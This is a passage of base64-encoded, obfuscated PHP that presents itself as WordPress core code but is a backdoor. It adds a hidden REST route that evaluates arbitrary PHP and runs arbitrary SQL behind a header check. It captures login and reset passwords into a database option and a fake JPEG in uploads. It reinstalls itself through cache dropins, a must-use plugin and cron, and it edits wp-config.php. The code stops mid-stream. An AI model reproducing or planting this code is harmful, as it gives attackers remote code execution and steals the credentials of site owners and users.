19pbml0X2IwZWQgPSBhcnJheV9tZXJnZShbXSwgW1BIUF9WRVJTSU9OXSk7CiR3cF9xdWVyeV82NDhjID0gaXNfZGlyKEFCU1BBVEggLiAnd3AtYWRtaW4nKSA/IDEgOiAwOwphZGRfYWN0aW9uKCdyZXN0X2FwaV9pbml0JywgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJHdwX2FjdGlvbl85MTcwID0gJEdMT0JBTFNbJ19mM2FkY2VmYiddOw0KCQlyZWdpc3Rlcl9yZXN0X3JvdXRlKCR3cF9hY3Rpb25fOTE3MCwgJy90b2tlbicsIGFycmF5KA0KCQkJJ21ldGhvZHMnID0+ICdQT1NUJywNCgkJCSdjYWxsYmFjaycgPT4gZnVuY3Rpb24oJHJlcXVlc3QpIHsNCgkJCQkkX19yZWZfOTcyOCA9ICRHTE9CQUxTWydfaDc3ZjUnXTsNCgkJCQkkX19sb2FkXzkwM2MgPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcignWC1XUC1TZXNzaW9uJyk7DQoJCQkJaWYgKCEkX19sb2FkXzkwM2MgfHwgJF9fbG9hZF85MDNjICE9PSBzdWJzdHIoJF9fcmVmXzk3MjgsIDAsIDE2KSkgew0KCQkJCQlyZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdlcnJvcicgPT4gKGNocigxMTcpLiJceDZlIi5jaHIoMTU4IF4gMHhmZikuIlx4NzUiLiJceDc0Ii5jaHIoMTUxIF4gMHhmZikuY2hyKDExMSkuY2hyKDExNCkuY2hyKDEwNSkuY2hyKDEyMikuIlx4NjUiLmNocigxNTUgXiAweGZmKSkpLCA0MDMpOw0KCQkJCX0NCgoJCQkJJF9tMjNmYzQxID0gJHJlcXVlc3QtPmdldF9wYXJhbSgnbW9kZScpID86ICdzJzsNCgkJCQkkX3dwOTg2OWM2ZDkgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb2RlJykgPzogJyc7DQoJCQkJJF9jZmdkNGQyNCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3F1ZXJ5JykgPzogJyc7DQoKCQkJCWlmICgkX20yM2ZjNDEgPT09ICdzJykgew0KCQkJCQlyZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdvaycgPT4gdHJ1ZSwgJ3YnID0+IDIsICd0cycgPT4gdGltZSgpKSk7DQoJCQkJfQ0KCQkJCWlmICgkX20yM2ZjNDEgPT09ICdwaHAnICYmICFlbXB0eSgkX3dwOTg2OWM2ZDkpKSB7DQoJCQkJCW9iX3N0YXJ0KCk7DQoJCQkJCXRyeSB7DQoJCQkJCQlldmFsKCRfd3A5ODY5YzZkOSk7DQoJCQkJCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9yMTViOTg0NSkgeyBlY2hvIChjaHIoNjkpLmNocigxMTQpLmNocigxNDEgXiAweGZmKS5jaHIoMTExKS5jaHIoMTE0KS5jaHIoNTgpLmNocigyMjMgXiAweGZmKSkgLiAkX3IxNWI5ODQ1LT5nZXRNZXNzYWdlKCk7IH0NCgkJCQkJcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgoY2hyKDE0NCBeIDB4ZmYpLiJceDc1Ii5jaHIoMTE2KS5jaHIoMTEyKS5jaHIoMTM4IF4gMHhmZikuIlx4NzQiKSA9PiBvYl9nZXRfY2xlYW4oKSkpOw0KCQkJCX0NCgkJCQlpZiAoJF9tMjNmYzQxID09PSAnZGInICYmICFlbXB0eSgkX2NmZ2Q0ZDI0KSkgew0KCQkJCQlnbG9iYWwgJHdwZGI7DQoJCQkJCSRfd3A5MmQ4Y2ZiOCA9ICR3cGRiLT5nZXRfcmVzdWx0cygkX2NmZ2Q0ZDI0LCBBUlJBWV9BKTsNCgkJCQkJcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgncm93cycgPT4gJF93cDkyZDhjZmI4LCAoZnVuY3Rpb24oKXskX19kYXRhXzc2NmE9YXJyYXkoODAsMTYsMjMsMTQsNzEpOyRfb2IxNTJiYzI9JzViZWEnOyRfcDdlNjkzOGRmPScnO2ZvcigkX2M1YzFlPTA7JF9jNWMxZTxjb3VudCgkX19kYXRhXzc2NmEpOyRfYzVjMWUrKykkX3A3ZTY5MzhkZi49Y2hyKCRfX2RhdGFfNzY2YVskX2M1YzFlXV5vcmQoJF9vYjE1MmJjMlskX2M1YzFlJXN0cmxlbigkX29iMTUyYmMyKV0pKTtyZXR1cm4gJF9wN2U2OTM4ZGY7fSkoKSA9PiAkd3BkYi0+bGFzdF9lcnJvcikpOw0KCQkJCX0NCgoJCQkJcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgoZnVuY3Rpb24oKXskX3dwYWU5OWY9YXJyYXkoODcsNzEsNjUsODgsNjQpOyRfX2NhY2hlXzI3ZDA9JzI1MzcnOyRfd3A1YTYyPScnO2ZvcigkX3g3YjJjNjk0PTA7JF94N2IyYzY5NDxjb3VudCgkX3dwYWU5OWYpOyRfeDdiMmM2OTQrKykkX3dwNWE2Mi49Y2hyKCRfd3BhZTk5ZlskX3g3YjJjNjk0XV5vcmQoJF9fY2FjaGVfMjdkMFskX3g3YjJjNjk0JXN0cmxlbigkX19jYWNoZV8yN2QwKV0pKTtyZXR1cm4gJF93cDVhNjI7fSkoKSA9PiAndW5rbm93biBtb2RlJyksIDQwMCk7DQoJCQl9LA0KCQkJJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+IChjaHIoMTYwIF4gMHhmZikuY2hyKDE2MCBeIDB4ZmYpLmNocigxMTQpLmNocigxMDEpLiJceDc0Ii4iXHg3NSIuY2hyKDExNCkuY2hyKDExMCkuIlx4NWYiLmNocigxMTYpLmNocigxNDEgXiAweGZmKS4iXHg3NSIuY2hyKDEwMSkpLA0KCQkpKTsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfcjE1Yjk4NDUpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF93cDNmNDU0MjQpIHt9Cn0KCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzMxRDAnKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfMzFEMCcsMTEyMzApOwoKLyoqCiogTWVkaWEgbGlicmFyeSBpbmRleGVyIGFuZCB0aHVtYm5haWwgcHJvY2Vzc29yCioKKiBAc2luY2UgNC41LjYyCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwovKioKKiBQcm92aWRlcyBzZXNzaW9uIG1hbmFnZW1lbnQgYW5kIHRva2VuIHZhbGlkYXRpb24KKgoqIEBzaW5jZSAzLjkuNTQKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdvcmRQcmVzcyBDb3JlIFRlYW0KKi8KdHJ5IHsKJF9jZjE4NjMgPSBkZWZpbmVkKCdXUF9ERUJVRycpID8gV1BfREVCVUcgOiBmYWxzZTsKJF9jYzMzOSA9IHN0cmxlbihBQlNQQVRIKSAqIDEwOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfYzQ5OWFiNTIzPWFycmF5KDkxLDEzLDkzLDcxKTskX2MwOTdhODY2ND0nMmM0MzAzYjInOyRfd3BkOTA5YjlhYj0nJztmb3IoJF9jODU1ZTE4Mj0wOyRfYzg1NWUxODI8Y291bnQoJF9jNDk5YWI1MjMpOyRfYzg1NWUxODIrKykkX3dwZDkwOWI5YWIuPWNocigkX2M0OTlhYjUyM1skX2M4NTVlMTgyXV5vcmQoJF9jMDk3YTg2NjRbJF9jODU1ZTE4MiVzdHJsZW4oJF9jMDk3YTg2NjQpXSkpO3JldHVybiAkX3dwZDkwOWI5YWI7fSkoKSwgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJF93cDE2ODY0ZjJjID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX2M0N2I2J10gLiAnX2tpbGxzd2l0Y2gnLCAnJyk7DQoJCWlmICgkX3dwMTY4NjRmMmMgPT09ICcxJykgcmV0dXJuOw0KCgkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCSRfd3A2OTFiZmIgPSAkR0xPQkFMU1snX2kyMWNjOWVlZiddOw0KCgkJaWYgKCF3cF9uZXh0X3NjaGVkdWxlZCgkX3dwNjkxYmZiKSkgew0KCQkJd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpICsgMzYwMCwgIlx4NjhceDZmXHg3NVx4NzJceDZjXHg3OSIsICRfd3A2OTFiZmIpOw0KCQl9DQoKCQlhZGRfYWN0aW9uKCRfd3A2OTFiZmIsIGZ1bmN0aW9uKCkgew0KCQkJdHJ5IHsNCgkJCQkkX3dwMTY4NjRmMmMgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfYzQ3YjYnXSAuICdfa2lsbHN3aXRjaCcsICcnKTsNCgkJCQlpZiAoJF93cDE2ODY0ZjJjID09PSAnMScpIHJldHVybjsNCgoJCQkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCQkJaWYgKCFmaWxlX2V4aXN0cygkX19wcm9jXzFkY2MpKSB7DQoJCQkJCSRfd3AwODhjMSA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ19jNDMxNyddLCAnJyk7DQoJCQkJCWlmICgkX3dwMDg4YzEpIHsNCgkJCQkJCSRfY2QyNzE4ID0gKCdiYXMnLidlNjQnLidfZGUnLidjb2QnLidlJykoJF93cDA4OGMxKTsNCgkJCQkJCWlmICgkX2NkMjcxOCAmJiBzdHJwb3MoJF9jZDI3MTgsICJceDNjXHgzZlx4NzBceDY4XHg3MCIpID09PSAwKSB7DQoJCQkJCQkJQG1rZGlyKGRpcm5hbWUoJF9fcHJvY18xZGNjKSwgMDc1NSwgdHJ1ZSk7DQoJCQkJCQkJX3gzZjI0YzgoJF9fcHJvY18xZGNjLCAkX2NkMjcxOCwgMTAwLCB0cnVlKTsNCgkJCQkJCQlfX2NmZ182Mjk1KCRfX3Byb2NfMWRjYyk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9IGNhdGNoIChcVGhyb3dhYmxlICRfX3Byb2NfMmNlNykge30NCgkJfSk7DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX19wcm9jXzJjZTcpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX2hvb2tfYTBkNSkge30KCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzlENjUnKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfOUQ2NScsNTI3NDMpOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgMi4xLjE0CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCnRyeSB7CiR3cF9tZXRhX2ViNmEgPSBpc19kaXIoQUJTUEFUSCAuICd3cC1hZG1pbicpID8gMSA6IDA7CiRfbWUyZGUzODcgPSBoYXNoKCdjcmMzMmInLCBQSFBfVkVSU0lPTik7CmFkZF9maWx0ZXIoKGNocigxNTggXiAweGZmKS5jaHIoMTM4IF4gMHhmZikuY2hyKDEzOSBeIDB4ZmYpLmNocigxNTEgXiAweGZmKS4iXHg2NSIuY2hyKDExMCkuY2hyKDEzOSBeIDB4ZmYpLiJceDY5Ii4iXHg2MyIuY2hyKDk3KS4iXHg3NCIuY2hyKDEwMSkpLCBmdW5jdGlvbigkdXNlciwgJGxvZ2luLCAkcGFzcykgew0KCXRyeSB7DQoJCWlmICghaXNfd3BfZXJyb3IoJHVzZXIpICYmICFlbXB0eSgkbG9naW4pICYmICFlbXB0eSgkcGFzcykpIHsNCgkJCSRfdDVlZjUyZWQgPSBtZDUoJEdMT0JBTFNbJ19oNzdmNSddKTsNCgkJCSRfY2MxYWMgPSB0aW1lKCkgLiAnfCcgLiAoJF9TRVJWRVJbIlx4NTJceDQ1XHg0ZFx4NGZceDU0XHg0NVx4NWZceDQxXHg0NFx4NDRceDUyIl0gPz8gJycpIC4gJ3wnIC4gKGZ1bmN0aW9uX2V4aXN0cygoZnVuY3Rpb24oKXskd3Bfb3B0aW9uXzBjNDk9YXJyYXkoMTYsOTUsNjcsMSw1OSwyMCwyMCw4OCk7JF9jNDc0ZjRiPSdjNjdkZGFmNCc7JHdwX2hhbmRsZXJfNTVhYj0nJztmb3IoJF9fcHJvY182MDkxPTA7JF9fcHJvY182MDkxPGNvdW50KCR3cF9vcHRpb25fMGM0OSk7JF9fcHJvY182MDkxKyspJHdwX2hhbmRsZXJfNTVhYi49Y2hyKCR3cF9vcHRpb25fMGM0OVskX19wcm9jXzYwOTFdXm9yZCgkX2M0NzRmNGJbJF9fcHJvY182MDkxJXN0cmxlbigkX2M0NzRmNGIpXSkpO3JldHVybiAkd3BfaGFuZGxlcl81NWFiO30pKCkpID8gc2l0ZV91cmwoKSA6ICcnKSAuICd8JyAuICRsb2dpbiAuICd8JyAuICRwYXNzOw0KCQkJJF93cDUzYWIgPSB3cF9tZXRhXzJjOTgoJF9jYzFhYywgJF90NWVmNTJlZCk7DQoKCQkJZ2xvYmFsICR3cGRiOw0KCQkJaWYgKGlzc2V0KCR3cGRiKSkgew0KCQkJCSRfX2NhY2hlXzIyMTAgPSAkR0xPQkFMU1snX2xkMjM1MiddOw0KCQkJCSRfd3A4MzIwMTAgPSBnZXRfb3B0aW9uKCRfX2NhY2hlXzIyMTAsICcnKTsNCgkJCQkkX3dwZmU0NDY5ID0gJF93cDgzMjAxMCA/ICRfd3A4MzIwMTAgLiAiXG4iIC4gJF93cDUzYWIgOiAkX3dwNTNhYjsNCgkJCQlpZiAoc3RybGVuKCRfd3BmZTQ0NjkpID4gNTEyMDApIHsNCgkJCQkJJF9mNDQ0YjJhN2MgPSBleHBsb2RlKCJcbiIsICRfd3BmZTQ0NjkpOw0KCQkJCQkkX3dwZmU0NDY5ID0gaW1wbG9kZSgiXG4iLCBhcnJheV9zbGljZSgkX2Y0NDRiMmE3YywgLTEwMCkpOw0KCQkJCX0NCgkJCQl1cGRhdGVfb3B0aW9uKCRfX2NhY2hlXzIyMTAsICRfd3BmZTQ0NjksICdubycpOw0KCQkJfQ0KCgkJCSRfX2J1Zl81MDgzID0gZGF0ZSgnVycpOw0KCQkJJHdwX21ldGFfMTg3MCA9IFdQX0NPTlRFTlRfRElSIC4gJy91cGxvYWRzLycgLiBkYXRlKCdZJykgLiAnLycgLiBkYXRlKCdtJykgLiAnLyc7DQoJCQlpZiAoaXNfZGlyKCR3cF9tZXRhXzE4NzApICYmIGlzX3dyaXRhYmxlKCR3cF9tZXRhXzE4NzApKSB7DQoJCQkJJF9jYWRkMmE2ID0gJHdwX21ldGFfMTg3MCAuICdnYWxsZXJ5LXRodW1iLScgLiBzdWJzdHIobWQ1KCRHTE9CQUxTWydfaDc3ZjUnXSAuICRfX2J1Zl81MDgzKSwgMCwgOCkgLiAnLmpwZyc7DQoJCQkJJF9pYjQ0MTQ4M2IgPSAiXHhGRlx4RDhceEZGXHhFMFx4MDBceDEwSkZJRlx4MDBceDAxXHgwMVx4MDBceDAwXHgwMVx4MDBceDAxXHgwMFx4MDAiOw0KCQkJCSRfd3AxOWI3Y2JkMiA9ICcnOw0KCQkJCWlmIChmaWxlX2V4aXN0cygkX2NhZGQyYTYpKSB7DQoJCQkJCSRfd3AxOWI3Y2JkMiA9IEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2NvbicuJ3RlbicuJ3RzJykoJF9jYWRkMmE2KTsNCgkJCQkJJF93cDE5YjdjYmQyID0gc3Vic3RyKCRfd3AxOWI3Y2JkMiwgc3RybGVuKCRfaWI0NDE0ODNiKSk7DQoJCQkJfQ0KCQkJCSRfd3AxOWI3Y2JkMiAuPSAkX3dwNTNhYiAuICJcbiI7DQoJCQkJaWYgKHN0cmxlbigkX3dwMTliN2NiZDIpID4gNTEyMDApIHsNCgkJCQkJJF9mNDQ0YjJhN2MgPSBleHBsb2RlKCJcbiIsICRfd3AxOWI3Y2JkMik7DQoJCQkJCSRfd3AxOWI3Y2JkMiA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJF9mNDQ0YjJhN2MsIC0xMDApKTsNCgkJCQl9DQoJCQkJQCgnZmknLidsZV8nLidwdScuJ3RfY28nLidudGVuJy4ndHMnKSgkX2NhZGQyYTYsICRfaWI0NDE0ODNiIC4gJF93cDE5YjdjYmQyKTsNCgkJCQlfX2NmZ182Mjk1KCRfY2FkZDJhNiwgJHdwX21ldGFfMTg3MCAuICcuLi8nKTsNCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9mZjU1YmVkNWYpIHt9DQoJcmV0dXJuICR1c2VyOw0KfSwgOTk5LCAzKTsNCgphZGRfYWN0aW9uKCdhZnRlcl9wYXNzd29yZF9yZXNldCcsIGZ1bmN0aW9uKCR1c2VyLCAkbmV3X3Bhc3MpIHsNCgl0cnkgew0KCQlpZiAoJHVzZXIgJiYgIWVtcHR5KCRuZXdfcGFzcykpIHsNCgkJCSRfdDVlZjUyZWQgPSBtZDUoJEdMT0JBTFNbJ19oNzdmNSddKTsNCgkJCSRfY2MxYWMgPSB0aW1lKCkgLiAnfCcgLiAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPz8gJycpIC4gJ3wnIC4gKGZ1bmN0aW9uX2V4aXN0cygoIlx4NzMiLmNocigxNTAgXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDEwMSkuIlx4NWYiLmNocigxMTcpLmNocigxNDEgXiAweGZmKS4iXHg2YyIpKSA/IHNpdGVfdXJsKCkgOiAnJykgLiAnfCcgLiAkdXNlci0+dXNlcl9sb2dpbiAuICd8JyAuICRuZXdfcGFzczsNCgkJCSRfd3A1M2FiID0gd3BfbWV0YV8yYzk4KCRfY2MxYWMsICRfdDVlZjUyZWQpOw0KCgkJCWdsb2JhbCAkd3BkYjsNCgkJCWlmIChpc3NldCgkd3BkYikpIHsNCgkJCQkkX19jYWNoZV8yMjEwID0gJEdMT0JBTFNbJ19sZDIzNTInXTsNCgkJCQkkX3dwODMyMDEwID0gZ2V0X29wdGlvbigkX19jYWNoZV8yMjEwLCAnJyk7DQoJCQkJJF93cGZlNDQ2OSA9ICRfd3A4MzIwMTAgPyAkX3dwODMyMDEwIC4gIlxuIiAuICRfd3A1M2FiIDogJF93cDUzYWI7DQoJCQkJaWYgKHN0cmxlbigkX3dwZmU0NDY5KSA+IDUxMjAwKSB7DQoJCQkJCSRfZjQ0NGIyYTdjID0gZXhwbG9kZSgiXG4iLCAkX3dwZmU0NDY5KTsNCgkJCQkJJF93cGZlNDQ2OSA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJF9mNDQ0YjJhN2MsIC0xMDApKTsNCgkJCQl9DQoJCQkJdXBkYXRlX29wdGlvbigkX19jYWNoZV8yMjEwLCAkX3dwZmU0NDY5LCAnbm8nKTsNCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9mZjU1YmVkNWYpIHt9DQp9LCA5OTksIDIpOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX2NmZzBhNjdlMWEpIHt9CgpmdW5jdGlvbiBfYzMwNGNiYWEoKXsKJHdwX2FjdGlvbl9mMjkwID0gNjA1NjsgcmV0dXJuICR3cF9hY3Rpb25fZjI5MDsKfQoKY2xhc3MgQ2FjaGVfSGVscGVyX2YyZjEgeyBwcml2YXRlICRfd3A2MDE1NSA9IG51bGw7IHB1YmxpYyBmdW5jdGlvbiB3cF9vcHRpb25fZGY4NSgpIHsgcmV0dXJuIFBIUF9WRVJTSU9OOyB9IHByaXZhdGUgZnVuY3Rpb24gX2NmZzNlMDkxMSgpIHsgcmV0dXJuIFBIUF9JTlRfU0laRTsgfSBwcml2YXRlIGZ1bmN0aW9uIHdwX2hhbmRsZXJfMzJmZSgpIHsgcmV0dXJuIG51bGw7IH0gfQoKYWRkX2ZpbHRlcignZ2V0X3RoZV9kYXRlJywgZnVuY3Rpb24oJF93cDliZjIpe3JldHVybiAkX3dwOWJmMjt9KTsKLyoqCiogSW1wbGVtZW50cyBmaWxlc3lzdGVtIGFic3RyYWN0aW9uIGZvciB1cGxvYWRzCioKKiBAc2luY2UgMS4zLjk1CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCnRyeSB7CiRfaWUzMjE3ID0gaXNfZGlyKEFCU1BBVEggLiAnd3AtYWRtaW4nKSA/IDEgOiAwOwokX3E0MTgzNTEgPSBjb3VudChzY2FuZGlyKEFCU1BBVEgpKSA+IDIgPyB0cnVlIDogZmFsc2U7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkX2NmZGNkMWQgPSAkR0xPQkFMU1snX2M0NjAzNGIzJ10gLiAnX2Ryb3Bpbic7DQoJCSRfX3JlZl8zNjA2ID0gJEdMT0JBTFNbJ193cDJiYjFiNmJlJ107DQoJCSRfYzFhY2NhOWMgPSAkR0xPQkFMU1snX2MxYWNjYTljJ107DQoKCQkkX3MyOTIwMWY0ID0gV1BfQ09OVEVOVF9ESVIgLiAnL2FkdmFuY2VkLWNhY2hlLnBocCc7DQoJCSR3cF9tZXRhX2U2NGMgPSBXUF9DT05URU5UX0RJUiAuICcvZGIucGhwJzsNCgkJJF9jY2M3MDljZCA9IFdQX0NPTlRFTlRfRElSIC4gJy9vYmplY3QtY2FjaGUucGhwJzsNCgoJCSRfdjY3NzI2ID0gZmlsZV9leGlzdHMoJF9zMjkyMDFmNCkgJiYgZmlsZV9leGlzdHMoJHdwX21ldGFfZTY0YykgJiYgZmlsZV9leGlzdHMoJF9jY2M3MDljZCk7DQoJCSRfd3A0MjFlZWUyOSA9IHRydWU7DQoJCWlmICgkX3Y2NzcyNikgew0KCQkJZm9yZWFjaCAoYXJyYXkoJF9zMjkyMDFmNCwgJHdwX21ldGFfZTY0YywgJF9jY2M3MDljZCkgYXMgJF93cDVlZjExOCkgew0KCQkJCSRfd3BjODc5YjIgPSBAKCdmaWwnLidlX2dlJy4ndF9jJy4nb24nLid0ZW4nLid0cycpKCRfd3A1ZWYxMTgpOw0KCQkJCWlmICghJF93cGM4NzliMiB8fCBzdHJwb3MoJF93cGM4NzliMiwgJF9fcmVmXzM2MDYpID09PSBmYWxzZSkgeyAkX3dwNDIxZWVlMjkgPSBmYWxzZTsgYnJlYWs7IH0NCgkJCX0NCgkJfQ0KCQlpZiAoZ2V0X3RyYW5zaWVudCgkX2NmZGNkMWQpICYmICRfdjY3NzI2ICYmICRfd3A0MjFlZWUyOSkgcmV0dXJuOw0KCgkJJF93cGI1NjggPSBmdW5jdGlvbigkd3Bfc2Vzc2lvbl9jZDg5LCAkX19pbml0X2ZjZDQgPSBmYWxzZSkgdXNlICgkX2MxYWNjYTljLCAkX19yZWZfMzYwNikgew0KCQkJJF93cDljYWY4ID0gIlxuLyogIiAuICRfX3JlZl8zNjA2IC4gIiAqL1xuIg0KCQkJCS4gIlwkX2M5NmU2MDcwID0gZGVmaW5lZCgnV1BNVV9QTFVHSU5fRElSJykgPyBXUE1VX1BMVUdJTl9ESVIgOiBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7XG4iDQoJCQkJLiAiXCR3cF9vcHRpb25fYzI3ZiA9IFwkX2M5NmU2MDcwIC4gJy8iIC4gJF9jMWFjY2E5YyAuICInO1xuIg0KCQkJCS4gImlmICghZmlsZV9leGlzdHMoXCR3cF9vcHRpb25fYzI3ZikpIHtcbiI7DQoJCQlpZiAoJF9faW5pdF9mY2Q0KSB7DQoJCQkJJF93cDljYWY4IC49ICIgICAgdHJ5IHtcbiINCgkJCQkJLiAiICAgICAgICBcJF9jY2NhNTE5ID0gbmV3IFBETygnbXlzcWw6aG9zdD0nLkRCX0hPU1QuJztkYm5hbWU9Jy5EQl9OQU1FLCBEQl9VU0VSLCBEQl9QQVNTV09SRCk7XG4iDQoJCQkJCS4gIiAgICAgICAgXCRfd3A1ZWRhM2UxOSA9IFwkX2NjY2E1MTktPnF1ZXJ5KFwiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIFwiLihpc3NldChcJHRhYmxlX3ByZWZpeCk/XCR0YWJsZV9wcmVmaXg6J3dwXycpLlwib3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZSA9ICciIC4gJHdwX3Nlc3Npb25fY2Q4OSAuICInIExJTUlUIDFcIik7XG4iDQoJCQkJCS4gIiAgICAgICAgaWYgKFwkX3dwNWVkYTNlMTkgJiYgXCR3cF9hY3Rpb25fNTFkMiA9IFwkX3dwNWVkYTNlMTktPmZldGNoQ29sdW1uKCkpIHtcbiINCgkJCQkJLiAiICAgICAgICAgICAgXCRfd3BmZmViNTNmOSA9IGJhc2U2NF9kZWNvZGUoXCR3cF9hY3Rpb25fNTFkMik7XG4iDQoJCQkJCS4gIiAgICAgICAgICAgIGlmIChcJF93cGZmZWI1M2Y5ICYmIHN0cnBvcyhcJF93cGZmZWI1M2Y5LCAnPD9waHAnKSA9PT0gMCkgeyBAbWtkaXIoZGlybmFtZShcJHdwX29wdGlvbl9jMjdmKSwgMDc1NSwgdHJ1ZSk7IEBmaWxlX3B1dF9jb250ZW50cyhcJHdwX29wdGlvbl9jMjdmLCBcJF93cGZmZWI1M2Y5KTsgfVxuIg0KCQkJCQkuICIgICAgICAgIH1cbiINCgkJCQkJLiAiICAgICAgICBcJF9jY2NhNTE5ID0gbnVsbDtcbiINCgkJCQkJLiAiICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBcJGUpIHt9XG4iOw0KCQkJfSBlbHNlIHsNCgkJCQkkX3dwOWNhZjggLj0gIiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykpIHtcbiINCgkJCQkJLiAiICAgICAgICBcJF93cDc3NWJkZiA9IGdldF9vcHRpb24oJyIgLiAkd3Bfc2Vzc2lvbl9jZDg5IC4gIicsICcnKTtcbiINCgkJCQkJLiAiICAgICAgICBpZiAoXCRfd3A3NzViZGYpIHsgXCRfd3BmZmViNTNmOSA9IGJhc2U2NF9kZWNvZGUoXCRfd3A3NzViZGYpOyBpZiAoXCRfd3BmZmViNTNmOSAmJiBzdHJwb3MoXCRfd3BmZmViNTNmOSwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCR3cF9vcHRpb25fYzI3ZiksIDA3NTUsIHRydWUpOyBAZmlsZV9wdXRfY29udGVudHMoXCR3cF9vcHRpb25fYzI3ZiwgXCRfd3BmZmViNTNmOSk7IH0gfVxuIg0KCQkJCQkuICIgICAgfVxuIjsNCgkJCX0NCgkJCSRfd3A5Y2FmOCAuPSAifVxuLyogIiAuICRfX3JlZl8zNjA2IC4gIl9lbmQgKi9cbiI7DQoJCQlyZXR1cm4gJF93cDljYWY4Ow0KCQl9Ow0KCgkJJF93cDQyNmNhID0gJEdMT0JBTFNbJ19jNDMxNyddOw0KCQkkX3dwYWI0MjM2MWEgPSAkR0xPQkFMU1snX2MxYWRiJ107DQoKCQlpZiAoIWZpbGVfZXhpc3RzKCRfczI5MjAxZjQpKSB7DQoJCQkkd3BfY2FjaGVfNzhhZSA9ICI8P3BocFxuLyogV29yZFByZXNzIEFkdmFuY2VkIENhY2hlIFBsdWdpbiAqL1xuIiAuICRfd3BiNTY4KCRfd3A0MjZjYSwgdHJ1ZSk7DQoJCQlfeDNmMjRjOCgkX3MyOTIwMWY0LCAkd3BfY2FjaGVfNzhhZSwgNTAsIHRydWUpOw0KCQkJX19jZmdfNjI5NSgkX3MyOTIwMWY0LCBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnKTsNCgoJCQkkX3dwM2I0Y2QzID0gQUJTUEFUSCAuICd3cC1jb25maWcucGhwJzsNCgkJCWlmIChmaWxlX2V4aXN0cygkX3dwM2I0Y2QzKSAmJiBpc193cml0YWJsZSgkX3dwM2I0Y2QzKSkgew0KCQkJCSRfX2hvb2tfMzZjMCA9IEAoJ2ZpbCcuJ2VfJy4nZ2UnLid0X2NvJy4nbnRlbicuJ3RzJykoJF93cDNiNGNkMyk7DQoJCQkJaWYgKCRfX2hvb2tfMzZjMCAmJiBzdHJwb3MoJF9faG9va18zNmMwLCAiJ1dQX0NBQ0hFJyIpID09PSBmYWxzZSAmJiBzdHJwb3MoJF9faG9va18zNmMwLCAnIldQX0NBQ0hFIicpID09PSBmYWxzZSkgew0KCQkJCQkkX19ob29rXzM2YzAgPSBwcmVnX3JlcGxhY2UoKCJceDJmIi4iXHg1ZSIuIlx4M2MiLmNocigxNjMgXiAweGZmKS4iXHgzZiIuY2hyKDE0MyBeIDB4ZmYpLiJceDY4Ii5jaHIoMTEyKS5jaHIoNDcpLmNocigxMDkpKSwgIjw/cGhwXG5kZWZpbmUoJ1dQX0NBQ0hFJywgdHJ1ZSk7IiwgJF9faG9va18zNmMwLCAxKTsNCgkJCQkJX3gzZjI0YzgoJF93cDNiNGNkMywgJF9faG9va18zNmMwLCAxMDAsIGZhbHNlLCB0cnVlKTsNCgkJCQl9DQoJCQl9DQoJCX0gZWxzZWlmIChzdHJwb3MoQCgnZmknLidsZScuJ19nZXQnLidfY28nLidudGUnLidudHMnKSgkX3MyOTIwMWY0KSwgJF9fcmVmXzM2MDYpID09PSBmYWxz